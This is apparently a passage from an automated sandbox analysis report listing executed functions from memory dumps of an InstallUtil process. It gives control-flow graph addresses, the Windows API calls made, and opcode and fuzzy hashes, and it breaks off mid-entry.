                                                                                                      execution_graph 22719 56f4668 22720 56f4676 22719->22720 22725 56f6de1 22720->22725 22723 56f4704 22726 56f6e05 22725->22726 22734 56f6ee0 22726->22734 22738 56f6ef0 22726->22738 22727 56f46e9 22730 56f421c 22727->22730 22731 56f4221 22730->22731 22733 56f8806 22731->22733 22746 56f851c 22731->22746 22733->22723 22736 56f6f17 22734->22736 22735 56f6ff4 22735->22735 22736->22735 22742 56f63d4 22736->22742 22740 56f6f17 22738->22740 22739 56f6ff4 22739->22739 22740->22739 22741 56f63d4 CreateActCtxA 22740->22741 22741->22739 22743 56f7370 CreateActCtxA 22742->22743 22745 56f7433 22743->22745 22747 56f8527 22746->22747 22750 56f853c 22747->22750 22749 56f88dd 22749->22733 22751 56f8547 22750->22751 22754 56f856c 22751->22754 22753 56f89ba 22753->22749 22755 56f8577 22754->22755 22758 56f859c 22755->22758 22757 56f8aad 22757->22753 22759 56f85a7 22758->22759 22761 56f9e8b 22759->22761 22764 56fbed9 22759->22764 22760 56f9ec9 22760->22757 22761->22760 22768 56fdf70 22761->22768 22772 56fbf00 22764->22772 22776 56fbf10 22764->22776 22765 56fbeee 22765->22761 22769 56fdf91 22768->22769 22770 56fdfb5 22769->22770 22784 56fe120 22769->22784 22770->22760 22773 56fbf10 22772->22773 22779 56fbff7 22773->22779 22774 56fbf1f 22774->22765 22778 56fbff7 GetModuleHandleW 22776->22778 22777 56fbf1f 22777->22765 22778->22777 22780 56fc008 22779->22780 22781 56fc03c 22780->22781 22782 56fc240 GetModuleHandleW 22780->22782 22781->22774 22783 56fc26d 22782->22783 22783->22774 22787 56fe12d 22784->22787 22785 56fe166 22785->22770 22787->22785 22788 56fc784 22787->22788 22789 56fc78f 22788->22789 22791 56fe1d8 22789->22791 22792 56fc7b8 22789->22792 22791->22791 22793 56fc7c3 22792->22793 22794 56f859c 2 API calls 22793->22794 22795 56fe247 22794->22795 22798 56fe2c0 22795->22798 22796 56fe256 22796->22791 22799 56fe2ee 22798->22799 22800 56fe3ba KiUserCallbackDispatcher 22799->22800 22801 56fe3bf 22799->22801 22800->22801 22802 56f6540 22803 56f6586 22802->22803 22807 56f6712 22803->22807 22811 56f6720 22803->22811 22804 56f6673 22808 56f6720 22807->22808 22814 56f611c 22808->22814 22812 56f611c DuplicateHandle 22811->22812 22813 56f674e 22812->22813 22813->22804 22815 56f6788 DuplicateHandle 22814->22815 22816 56f674e 22815->22816 22816->22804

                                                                                                      Executed Functions

                                                                                                      Function 07FCA620 Relevance: .7, Instructions: 707COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 466 7fca620-7fca63c 467 7fca6c6-7fca700 466->467 468 7fca642-7fca64f 466->468 480 7fca6a4-7fca6c3 467->480 485 7fca702-7fca71f 467->485 471 7fca666-7fca672 468->471 472 7fca651-7fca65c 468->472 478 7fca69a 471->478 479 7fca674-7fca698 471->479 626 7fca65f call 7fc9f98 472->626 627 7fca65f call 7fc9f89 472->627 474 7fca661-7fca664 476 7fca6a3 474->476 476->480 478->476 479->476 479->478 487 7fca725-7fca72b 485->487 488 7fca7e0-7fca841 485->488 489 7fca72d-7fca730 487->489 490 7fca755-7fca766 487->490 508 7fca86b-7fca8b9 488->508 509 7fca843-7fca86a 488->509 492 7fca7ab-7fca7d9 489->492 493 7fca732-7fca754 489->493 495 7fca76e-7fca772 490->495 496 7fca768 490->496 492->488 499 7fca77a-7fca7aa 495->499 496->499 500 7fca76a-7fca76c 496->500 500->495 500->499 515 7fca8c9-7fca8cd 508->515 516 7fca8bb-7fca8c4 call 7fca4c8 508->516 518 7fca8cf-7fca8de 515->518 519 7fca8e3-7fca8f4 515->519 516->515 520 7fcac78-7fcac7f 518->520 521 7fca8fa-7fca90f 519->521 522 7fcadf2-7fcae00 519->522 523 7fca91b-7fca92e 521->523 524 7fca911-7fca916 521->524 529 7fcada7 522->529 530 7fcae02-7fcae12 522->530 525 7fca934-7fca940 523->525 526 7fcac80-7fcac9e 523->526 524->520 525->522 528 7fca946-7fca97d 525->528 535 7fcaca5-7fcacc3 526->535 531 7fca97f-7fca984 528->531 532 7fca989-7fca98d 528->532 533 7fcada8-7fcadc6 529->533 541 7fcae2b-7fcae76 530->541 542 7fcae14-7fcae18 530->542 531->520 532->535 536 7fca993-7fca99f 532->536 567 7fcadcd-7fcadeb 533->567 549 7fcacca-7fcace8 535->549 536->522 538 7fca9a5-7fca9dc 536->538 544 7fca9de-7fca9e3 538->544 545 7fca9e8-7fca9ec 538->545 586 7fcae78-7fcae84 541->586 587 7fcae85-7fcae8a 541->587 546 7fcae28-7fcae2a 542->546 547 7fcae1a-7fcae25 542->547 544->520 545->549 550 7fca9f2-7fca9fe 545->550 547->546 562 7fcacef-7fcad0d 549->562 550->522 555 7fcaa04-7fcaa3b 550->555 558 7fcaa3d-7fcaa42 555->558 559 7fcaa47-7fcaa4b 555->559 558->520 559->562 563 7fcaa51-7fcaa5d 559->563 572 7fcad14-7fcad32 562->572 563->522 566 7fcaa63-7fcaa9a 563->566 569 7fcaa9c-7fcaaa1 566->569 570 7fcaaa6-7fcaaaa 566->570 567->522 569->520 570->572 573 7fcaab0-7fcaabc 570->573 585 7fcad39-7fcad57 572->585 573->522 577 7fcaac2-7fcaaf9 573->577 579 7fcaafb-7fcab00 577->579 580 7fcab05-7fcab09 577->580 579->520 584 7fcab0f-7fcab1b 580->584 580->585 584->522 591 7fcab21-7fcab58 584->591 599 7fcad5e-7fcad7c 585->599 588 7fcae8c-7fcae8f 587->588 589 7fcaec8-7fcaecc 587->589 594 7fcaebd-7fcaec6 588->594 595 7fcab5a-7fcab5f 591->595 596 7fcab64-7fcab68 591->596 594->589 598 7fcae91-7fcaea5 594->598 595->520 596->599 600 7fcab6e-7fcab7a 596->600 609 7fcaebc 598->609 610 7fcaea7-7fcaebb call 7fc2340 598->610 612 7fcad83-7fcada1 599->612 600->522 603 7fcab80-7fcabb7 600->603 606 7fcabb9-7fcabbe 603->606 607 7fcabc3-7fcabc7 603->607 606->520 611 7fcabcd-7fcabd9 607->611 607->612 609->594 611->522 615 7fcabdf-7fcac16 611->615 612->529 616 7fcac1f-7fcac23 615->616 617 7fcac18-7fcac1d 615->617 616->533 620 7fcac29-7fcac32 616->620 617->520 620->522 623 7fcac38-7fcac6d 620->623 623->567 624 7fcac73 623->624 624->520 626->474 627->474
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9226164e2563e43a5de6875ecb13d2f11bb5abc9ab0ecc132047c2b750e4f948
                                                                                                      • Instruction ID: 84c2fc2254a61c434debc47b5cc3572c4cfae88ecee381c0db26731d9cd4780f
                                                                                                      • Opcode Fuzzy Hash: 9226164e2563e43a5de6875ecb13d2f11bb5abc9ab0ecc132047c2b750e4f948
                                                                                                      • Instruction Fuzzy Hash: AE4269B0B0061A8FCB19DFA9C59466EFBF2BF88300F18852DD55A97790DB34E941CB91
                                                                                                      Function 056FBFF7 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 203COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2626773545.00000000056F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_56f0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: /}\
                                                                                                      • API String ID: 0-3012716799
                                                                                                      • Opcode ID: 6f10cf4d27a36d6191a34bad23d76e5af8e782068f38e81fdeec0186334af1d7
                                                                                                      • Instruction ID: 0695e5426f3595ede2b73b349a25d676a0ec16601825c81e5b810c7f93fc2772
                                                                                                      • Opcode Fuzzy Hash: 6f10cf4d27a36d6191a34bad23d76e5af8e782068f38e81fdeec0186334af1d7
                                                                                                      • Instruction Fuzzy Hash: 50814370A04B098FE724DF69D4447AABBF2FF88210F008A2DD54AD7B50DB75E846CB95
                                                                                                      Function 056F63D4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 60 56f63d4-56f7431 CreateActCtxA 63 56f743a-56f7494 60->63 64 56f7433-56f7439 60->64 71 56f7496-56f7499 63->71 72 56f74a3-56f74a7 63->72 64->63 71->72 73 56f74a9-56f74b5 72->73 74 56f74b8 72->74 73->74 76 56f74b9 74->76 76->76
                                                                                                      APIs
                                                                                                      • CreateActCtxA.KERNEL32(?), ref: 056F7421
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2626773545.00000000056F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_56f0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Create
                                                                                                      • String ID: /}\
                                                                                                      • API String ID: 2289755597-3012716799
                                                                                                      • Opcode ID: 5d10ac441bf939ea8119e4d62676d390519408624f6ee0c664049b0901cc64e5
                                                                                                      • Instruction ID: c0f300cef8d561043e9654e733ad75f39f6d37544c6d629f9e52655009dd39b2
                                                                                                      • Opcode Fuzzy Hash: 5d10ac441bf939ea8119e4d62676d390519408624f6ee0c664049b0901cc64e5
                                                                                                      • Instruction Fuzzy Hash: FC41BFB0D04719CBDB24DFA9C844BDEBBF6BF49304F20816AD508AB251DBB56946CF90
                                                                                                      Function 056F7365 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 77 56f7365-56f736b 78 56f7370-56f7431 CreateActCtxA 77->78 80 56f743a-56f7494 78->80 81 56f7433-56f7439 78->81 88 56f7496-56f7499 80->88 89 56f74a3-56f74a7 80->89 81->80 88->89 90 56f74a9-56f74b5 89->90 91 56f74b8 89->91 90->91 93 56f74b9 91->93 93->93
                                                                                                      APIs
                                                                                                      • CreateActCtxA.KERNEL32(?), ref: 056F7421
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2626773545.00000000056F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_56f0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: Create
                                                                                                      • String ID: /}\
                                                                                                      • API String ID: 2289755597-3012716799
                                                                                                      • Opcode ID: f03c9fcbce656fdcb1f541367a9256a38a68cbb17c313835c16dc7b5532f71ea
                                                                                                      • Instruction ID: f475208144cd567349e97e90ad24bf6f39d4302007e375f550d0d963a75319c7
                                                                                                      • Opcode Fuzzy Hash: f03c9fcbce656fdcb1f541367a9256a38a68cbb17c313835c16dc7b5532f71ea
                                                                                                      • Instruction Fuzzy Hash: 9241DFB1C04719CBEB24CFA9C844BDEBBF5BF49304F20816AD508AB251DBB56949CF90
                                                                                                      Function 056F611C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 94 56f611c-56f681c DuplicateHandle 96 56f681e-56f6824 94->96 97 56f6825-56f6842 94->97 96->97
                                                                                                      APIs
                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,056F674E,?,?,?,?,?), ref: 056F680F
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2626773545.00000000056F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_56f0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DuplicateHandle
                                                                                                      • String ID: /}\
                                                                                                      • API String ID: 3793708945-3012716799
                                                                                                      • Opcode ID: 5f7225d9ba8601d8c140fb27599b73d7a94762631b700672bed6ba6d7dbb87e6
                                                                                                      • Instruction ID: 227ce871b13ed1d6f9920ef2f5a5cc5ed5dfeb894d020fb9f3f016024a814c17
                                                                                                      • Opcode Fuzzy Hash: 5f7225d9ba8601d8c140fb27599b73d7a94762631b700672bed6ba6d7dbb87e6
                                                                                                      • Instruction Fuzzy Hash: 8D21E6B5D002489FDB10CFAAD884AEEFBF5FB48310F14841AE914A7350D374A944CFA5
                                                                                                      Function 056F6782 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 100 56f6782 101 56f6788-56f681c DuplicateHandle 100->101 102 56f681e-56f6824 101->102 103 56f6825-56f6842 101->103 102->103
                                                                                                      APIs
                                                                                                      • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,056F674E,?,?,?,?,?), ref: 056F680F
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2626773545.00000000056F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_56f0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DuplicateHandle
                                                                                                      • String ID: /}\
                                                                                                      • API String ID: 3793708945-3012716799
                                                                                                      • Opcode ID: c613a3e75aa852b46057d1f77ad16fb7b8cb765f50dedaaec5728b7a89b1bee6
                                                                                                      • Instruction ID: 0c301c5f42a43aa62d150766f5aa1c4bbf1191ea28e2e63fbaa0a209ff810027
                                                                                                      • Opcode Fuzzy Hash: c613a3e75aa852b46057d1f77ad16fb7b8cb765f50dedaaec5728b7a89b1bee6
                                                                                                      • Instruction Fuzzy Hash: 5721E4B5D002489FDB10CFAAD884ADEBFF8FB48320F14842AE914A7350D374A940CFA5
                                                                                                      Function 056FC1F8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 106 56fc1f8-56fc238 107 56fc23a-56fc23d 106->107 108 56fc240-56fc26b GetModuleHandleW 106->108 107->108 109 56fc26d-56fc273 108->109 110 56fc274-56fc288 108->110 109->110
                                                                                                      APIs
                                                                                                      • GetModuleHandleW.KERNEL32(00000000), ref: 056FC25E
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2626773545.00000000056F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056F0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_56f0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: HandleModule
                                                                                                      • String ID: /}\
                                                                                                      • API String ID: 4139908857-3012716799
                                                                                                      • Opcode ID: 872c64b3718dba0b8a8102997ffb6148ce138e39b4eff906dbe2451d5ac22703
                                                                                                      • Instruction ID: cbe19f788b513cc6bf95edf3b1171eafd065e3592d03c4ecb34b8e222680c51a
                                                                                                      • Opcode Fuzzy Hash: 872c64b3718dba0b8a8102997ffb6148ce138e39b4eff906dbe2451d5ac22703
                                                                                                      • Instruction Fuzzy Hash: 6A110FB6C042498FDB20CF9AC444BDEFBF4EB88324F10842AD519A7600C379A945CFA5
                                                                                                      Function 07FC7E80 Relevance: .5, Instructions: 496COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 891 7fc7e80-7fc7e92 892 7fc7e98-7fc7e9c 891->892 893 7fc7f85-7fc7faa 891->893 894 7fc7fb1-7fc8085 892->894 895 7fc7ea2-7fc7ea6 892->895 893->894 897 7fc808c-7fc80b0 894->897 895->897 898 7fc7eac-7fc7eb1 895->898 914 7fc80b7-7fc8136 897->914 899 7fc7edf-7fc7ee2 898->899 900 7fc7eb3-7fc7edc 898->900 904 7fc7f0e-7fc7f7e 899->904 905 7fc7ee4-7fc7ee8 899->905 904->893 908 7fc7efa-7fc7f0b 905->908 909 7fc7eea-7fc7eee 905->909 909->908 913 7fc7ef0-7fc7ef4 909->913 913->908 913->914 939 7fc8168-7fc816a 914->939 940 7fc8138-7fc813c 914->940 944 7fc816d-7fc8186 939->944 942 7fc813e-7fc8152 940->942 943 7fc8154-7fc815f 940->943 942->939 942->943 943->939 945 7fc81cf-7fc8202 944->945 946 7fc8188-7fc8198 944->946 954 7fc8248-7fc826d 945->954 955 7fc8204-7fc8208 945->955 946->944 949 7fc819a-7fc81a4 946->949 949->945 950 7fc81a6-7fc81ce 949->950 958 7fc8274-7fc82c0 954->958 957 7fc820a-7fc8221 955->957 955->958 966 7fc8227-7fc8233 957->966 971 7fc82c6-7fc82d0 958->971 972 7fc8420-7fc8445 958->972 969 7fc823e-7fc8245 966->969 973 7fc82da-7fc82de 971->973 974 7fc82d2 971->974 975 7fc844c-7fc8470 972->975 973->975 976 7fc82e4-7fc82ec 973->976 974->973 988 7fc8477-7fc8489 975->988 978 7fc8411-7fc8419 976->978 979 7fc82f2 976->979 978->972 979->978 981 7fc82f9-7fc8318 979->981 982 7fc831b-7fc8330 979->982 983 7fc8395-7fc839b 979->983 985 7fc8361-7fc8392 982->985 986 7fc8332-7fc8336 982->986 983->988 989 7fc83a1-7fc83af 983->989 993 7fc8338-7fc834e 986->993 994 7fc8350-7fc8359 986->994 990 7fc83e0-7fc840e 989->990 991 7fc83b1-7fc83b5 989->991 996 7fc83cf-7fc83d8 991->996 997 7fc83b7-7fc83cd 991->997 993->985 993->994 994->985 996->990 997->990 997->996
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 24e142658588b9821591db6e3e7349db33108cfab7976db9724e2ab98956a364
                                                                                                      • Instruction ID: 26b5a5a47943b132c02c99214d1c488d2db0d89698d12201a29d15a7f5678330
                                                                                                      • Opcode Fuzzy Hash: 24e142658588b9821591db6e3e7349db33108cfab7976db9724e2ab98956a364
                                                                                                      • Instruction Fuzzy Hash: 9F028B70B00A1A8FC764DF69C58466EBBE2FF88310B14862DD54ADB794DB35E802CB95
                                                                                                      Function 07FC0CE8 Relevance: .4, Instructions: 437COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 1004 7fc0ce8-7fc0d8b 1012 7fc0e6e-7fc0ef4 1004->1012 1013 7fc0d91-7fc0da7 1004->1013 1032 7fc1135-7fc1144 1012->1032 1016 7fc0ded-7fc0e26 call 7fc0910 1013->1016 1017 7fc0da9-7fc0db3 1013->1017 1029 7fc0e28-7fc0e3b 1016->1029 1030 7fc0e53-7fc0e69 1016->1030 1017->1012 1018 7fc0db9-7fc0dcc 1017->1018 1018->1012 1023 7fc0dd2-7fc0de8 1018->1023 1023->1012 1029->1030 1036 7fc0e3d-7fc0e4b 1029->1036 1030->1012 1033 7fc115d 1032->1033 1034 7fc1146-7fc115b 1032->1034 1037 7fc115f-7fc1161 1033->1037 1034->1037 1036->1030 1038 7fc0ef9-7fc0f0c 1037->1038 1039 7fc1167-7fc118c 1037->1039 1042 7fc0f0e-7fc0f14 1038->1042 1043 7fc0f24-7fc0f49 1038->1043 1048 7fc118e-7fc11ce 1039->1048 1049 7fc11d0-7fc11fc 1039->1049 1044 7fc0f18-7fc0f1a 1042->1044 1045 7fc0f16 1042->1045 1050 7fc0f4f-7fc0ff7 1043->1050 1051 7fc1008-7fc1049 1043->1051 1044->1043 1045->1043 1064 7fc1203-7fc129a 1048->1064 1049->1064 1109 7fc0ffd call 7fc13d8 1050->1109 1110 7fc0ffd call 7fc13c8 1050->1110 1068 7fc104b-7fc1061 1051->1068 1069 7fc1081-7fc10ad 1051->1069 1099 7fc129c-7fc12af 1064->1099 1100 7fc12c7-7fc12cb 1064->1100 1077 7fc131c 1068->1077 1078 7fc1067-7fc107f 1068->1078 1083 7fc10af-7fc10b8 1069->1083 1084 7fc111a-7fc1130 1069->1084 1082 7fc1321-7fc1328 1077->1082 1078->1068 1078->1069 1085 7fc132a 1082->1085 1086 7fc1336 1082->1086 1083->1077 1088 7fc10be-7fc1118 1083->1088 1084->1032 1085->1086 1090 7fc1337 1086->1090 1088->1083 1088->1084 1089 7fc1003 1089->1084 1090->1090 1099->1100 1104 7fc12b1-7fc12bf 1099->1104 1101 7fc12cd-7fc12e0 1100->1101 1102 7fc1307-7fc131a 1100->1102 1101->1102 1106 7fc12e2-7fc12ff 1101->1106 1102->1082 1104->1100 1106->1102 1109->1089 1110->1089
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 60706ec155916c79ca9bbe3a59bd4ad4115fb8e0e2f96d111b3626f0644f1841
                                                                                                      • Instruction ID: e3fe7a8d1ab46729921ee6176806dfc9f1c3e39911fd182d5612003ab4317745
                                                                                                      • Opcode Fuzzy Hash: 60706ec155916c79ca9bbe3a59bd4ad4115fb8e0e2f96d111b3626f0644f1841
                                                                                                      • Instruction Fuzzy Hash: 7E122974A00219CFCB54EF68C994A9DB7B2BF89304F5585A8D84AAB355DF30ED86CF40
                                                                                                      Function 07FC8640 Relevance: .4, Instructions: 400COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 8d1963d7acc86db02004c07628d502bc8ff84a2f896ad0fc688e132b63ce8964
                                                                                                      • Instruction ID: 7008e3086c5c67cff3f9bd70f8319afd7da959fa03d7ab250583a379af0348fd
                                                                                                      • Opcode Fuzzy Hash: 8d1963d7acc86db02004c07628d502bc8ff84a2f896ad0fc688e132b63ce8964
                                                                                                      • Instruction Fuzzy Hash: 26E1F270B00606CFDB15CB68DA8462EBBE2FF85651B588A5DD48ADBB45CB30FC01CB95
                                                                                                      Function 07FC13D8 Relevance: .4, Instructions: 369COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 961eb9c51b761a5a58318c83d17791fc7d8008db03ad7c141c8a0301d52963e0
                                                                                                      • Instruction ID: 5b174bb03a8521aadfeebf9bfce5a4798fe8201f23b933ab9579d625f2a00f12
                                                                                                      • Opcode Fuzzy Hash: 961eb9c51b761a5a58318c83d17791fc7d8008db03ad7c141c8a0301d52963e0
                                                                                                      • Instruction Fuzzy Hash: 7EE18274A01209DFCB44EFA4D5949ADBBB2FFC9310F158569E806AB365DB30EC42CB91
                                                                                                      Function 07FC682F Relevance: .3, Instructions: 332COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a993b81965b74ad9cd4c9ee6af31ef98de55d7ea25137454544b93320db08a89
                                                                                                      • Instruction ID: d5f2acbecb98e4538e178e62bf91a2803ae6bcc155be697de6690a73e8b06c34
                                                                                                      • Opcode Fuzzy Hash: a993b81965b74ad9cd4c9ee6af31ef98de55d7ea25137454544b93320db08a89
                                                                                                      • Instruction Fuzzy Hash: E2D12E75B00218CFDB44EFA8D994AADB7B6FF89300F114169E905AB7A5DB31EC42CB50
                                                                                                      Function 07FC5590 Relevance: .3, Instructions: 316COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e5ce6685eaaa098f87093dc038947b8f031aeaaaa7501ef4e811498f6c2ff34c
                                                                                                      • Instruction ID: c0a09c7056b4fe8646c87fb8ed825c57a03863c2035792760b6fdb7a4ee10879
                                                                                                      • Opcode Fuzzy Hash: e5ce6685eaaa098f87093dc038947b8f031aeaaaa7501ef4e811498f6c2ff34c
                                                                                                      • Instruction Fuzzy Hash: 2EC14D74B10219DFCB44DFA8D994E9EBBB2BF89310F158058E905AB3A5CB71EC41CB90
                                                                                                      Function 07FC55C0 Relevance: .3, Instructions: 309COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: debb617c1a68e3a8dd933b1730450c24abda3aeb68cbd949283e013a5c674a56
                                                                                                      • Instruction ID: ed8539b2231fa1ef9a4feeaae68cea1a9b15cb20b39bfce033562fa8ed007588
                                                                                                      • Opcode Fuzzy Hash: debb617c1a68e3a8dd933b1730450c24abda3aeb68cbd949283e013a5c674a56
                                                                                                      • Instruction Fuzzy Hash: C8D10D74B11218DFCB44EFA8E994E9EB7B2BFC9710F118158E805AB7A5CB71AC41CB50
                                                                                                      Function 07FCA200 Relevance: .3, Instructions: 307COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: aaf5e45d191b5206fb650d274285ca7d62f4d2bdb56e522a42f85730ede96093
                                                                                                      • Instruction ID: f4d8079255580e903416166b64a032a41d5bd891983157432f19dc18dc46e71c
                                                                                                      • Opcode Fuzzy Hash: aaf5e45d191b5206fb650d274285ca7d62f4d2bdb56e522a42f85730ede96093
                                                                                                      • Instruction Fuzzy Hash: 45C1A1B1A0464A8FCB25CF68C558A2ABBF2BF85310F1DC55DD486CB6A1DB31F841CB51
                                                                                                      Function 07FC1970 Relevance: .3, Instructions: 301COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000003.00000002.2640890655.0000000007FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FC0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_3_2_7fc0000_InstallUtil.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b05e7fcc184813a1f3f39d49331f8ed4227031c5255f1f5d2e1f9ac57f12b633
                                                                                                      • Instruction ID: 62b5d8c1fa37401eea3851a171c79acbd4c152645aa34b0c86ad728be9dab134
